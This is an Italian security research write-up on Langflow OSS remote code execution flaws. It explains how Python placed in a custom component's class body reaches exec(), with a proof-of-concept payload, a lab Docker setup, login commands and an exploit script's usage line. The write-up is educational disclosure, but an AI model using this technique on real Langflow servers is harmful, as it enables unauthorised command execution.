CVE-2026-17633 & CVE-2026-17632 — IBM Langflow OSS RCE

Solo per scopi educativi. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta ai test.

---

1. Introduzione

Cos'è Langflow

Langflow è una piattaforma open-source low-code per la creazione di applicazioni basate su LLM e flussi di lavoro di agenti AI. Fornisce un'interfaccia visuale drag-and-drop in cui gli utenti possono collegare componenti — modelli, retriever, strumenti, memoria, codice Python personalizzato — in flussi eseguibili. La funzionalità Custom Component consente agli utenti di definire il comportamento dei componenti direttamente in Python, che è la superficie di attacco sfruttata in questa ricerca.

IBM Security Bulletin — Batch di agosto 2026

Il 5 agosto 2026, IBM ha pubblicato un Security Bulletin che divulga un batch di vulnerabilità che interessano le versioni di Langflow OSS dalla 1.0.0 alla 1.10.3. Il bollettino completo è disponibile all'indirizzo:

https://www.ibm.com/support/pages/node/7282646

Questa ricerca si concentra su due CVE di quel batch:

CVE	CVSS	Riepilogo
CVE-2026-17633	8.5 HIGH	RCE autenticato tramite /api/v1/custom_component — codice passato direttamente a exec() senza alcuna scansione di sicurezza
CVE-2026-17632	8.8 HIGH	Bypass dello scanner di sicurezza AST — codice Python appositamente costruito supera scan_code_security() con is_safe: True eseguendo al contempo comandi OS arbitrari

Entrambe le CVE sono state scoperte in modo indipendente tramite analisi statica del codice sorgente di Langflow 1.10.3.

Ambito di questa ricerca

• PoC principale: CVE-2026-17633 — dimostrato end-to-end con uno script di exploit funzionante
• Risultato della ricerca: CVE-2026-17632 — bypass dello scanner AST confermato localmente; la distribuzione tramite LLM presenta limitazioni pratiche documentate nella Sezione 5
• Ambiente di laboratorio: Langflow OSS 1.10.3 in esecuzione in Docker su Kali Linux

Disclaimer

Questa ricerca è stata condotta in un ambiente di laboratorio isolato contro un'istanza Langflow self-hosted. Tutti i risultati sono divulgati in modo responsabile. Non utilizzare quanto segue contro sistemi senza esplicita autorizzazione scritta.

---

2. CVE-2026-17633 — Analisi tecnica

Descrizione della vulnerabilità

L'endpoint POST /api/v1/custom_component in Langflow OSS 1.0.0–1.10.3 accetta codice Python arbitrario da un utente autenticato e lo esegue lato server tramite la funzione exec() di Python. A differenza del percorso Agentic Assistant, questo endpoint non chiama scan_code_security() né alcun altro validatore di contenuto basato su AST prima dell'esecuzione. Qualsiasi utente autenticato può ottenere l'esecuzione di codice remoto con una singola richiesta HTTP.

CWE-94 — Controllo improprio della generazione di codice

L'endpoint /api/v1/custom_component

Sorgente: langflow/api/v1/endpoints.py — riga 1271

@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

Quando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (comune nelle distribuzioni in produzione), il codice va direttamente a build_custom_component_template() con zero ispezione del contenuto.

Perché è vulnerabile — prepare_global_scope() e ast.Expr

La catena di esecuzione porta a create_class() in lfx/custom/validate.py, che chiama prepare_global_scope() prima di compilare ed eseguire la classe:

def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

Una chiamata di funzione nuda a livello di modulo (ad es. os.system(...)) è un nodo ast.Expr — non viene intercettata dal controllo isinstance e viene silenziosamente scartata. Tuttavia, il codice inserito all'interno del corpo della classe fa parte del nodo ClassDef e viene eseguito integralmente quando la classe viene definita tramite exec() all'interno di compile_class_code().

Questa è l'intuizione chiave: il payload deve trovarsi all'interno del corpo della classe, non a livello di modulo.

# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

Catena di sfruttamento

Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

Nessun LLM richiesto. Nessun bypass dello scanner necessario. Singola richiesta HTTP.

---

3. Configurazione del laboratorio

Prerequisiti

Requisito	Valore
OS host	Kali Linux (testato)
Docker	CE 5.x + plugin Compose v2
Immagine Langflow	langflowai/langflow:1.10.3
RAM	4 GB minimo per il container

Configurazione Docker Compose

Creare una directory per il laboratorio e salvare quanto segue come docker-compose.yml:

services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

Avviare il laboratorio:

docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

Ottenere un token valido

Accedere a http://127.0.0.1:7860 con le credenziali superuser definite sopra. Il token di accesso è memorizzato nel cookie del browser access_token_lf. In alternativa, recuperarlo tramite l'API:

curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

Copiare il valore access_token dalla risposta.

---

4. Esecuzione del PoC

Utilizzo

python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]